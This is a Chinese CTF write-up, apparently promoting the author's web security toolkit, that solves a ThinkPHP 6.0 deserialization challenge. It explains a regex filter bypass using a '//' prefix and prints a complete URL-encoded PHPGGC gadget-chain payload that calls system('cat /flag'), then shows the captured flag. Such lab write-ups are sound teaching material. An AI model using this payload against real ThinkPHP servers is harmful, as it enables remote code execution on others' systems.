随波逐流工作室—-探索前沿科技，分享最新软件。点击标题下蓝字“长弓三皮”关注，我们将为您提供有深度、有价值、有意思的阅读。
朋友们，现在只对常读和星标的公众号才展示大图推送，建议大家把长弓三皮“设为星标”，否则可能就看不到了啦！
作者：随波逐流
打开 [随波逐流]WEB安全工具访问
随波逐流WEB安全工具--工具--目录深度扫描
核心代码在app/controller/Index.php：
随波逐流WEB安全工具--工具--代码安全审计
1、环境：ThinkPHP 6.0.X + PHP 7.2.25；
2、漏洞点：unserialize($payload)，
3、preg_match("/^O/i",$value)，过滤“以O开头的参数值”；
4、绕过思路：在Payload前加//（PHP注释符），让正则匹配不到^O；
用PHPGGC生成ThinkPHP 6.0的RCE Payload
随波逐流WEB安全工具--工具--PHP反序列化
O%3A41%3A%22League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%22%3A3%3A%7Bs%3A47%3A%22%00League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%00pool%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A14%3A%22think%5CValidate%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00type%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A9%3A%22cat%20%2Fflag%22%3B%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A3%3A%22key%22%3B%7Ds%3A11%3A%22%00%2A%00autosave%22%3Bb%3A0%3Bs%3A6%3A%22%00%2A%00key%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22anything%22%3B%7D%7D///public/?payload=O%3A41%3A%22League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%22%3A3%3A%7Bs%3A47%3A%22%00League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%00pool%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A14%3A%22think%5CValidate%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00type%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A9%3A%22cat%20%2Fflag%22%3B%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A3%3A%22key%22%3B%7Ds%3A11%3A%22%00%2A%00autosave%22%3Bb%3A0%3Bs%3A6%3A%22%00%2A%00key%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22anything%22%3B%7D%7D
CTF2{6f943d22-c2b1-4cbf-930a-175c4f9f1859}
-------------------------------------------
软件发布网址： 随波逐流信息安全网
http://www.1o1o.xyz
微信公众号：长弓三皮
--------------------------------------------
你若喜欢，为“长弓三皮”点个赞和在看哦 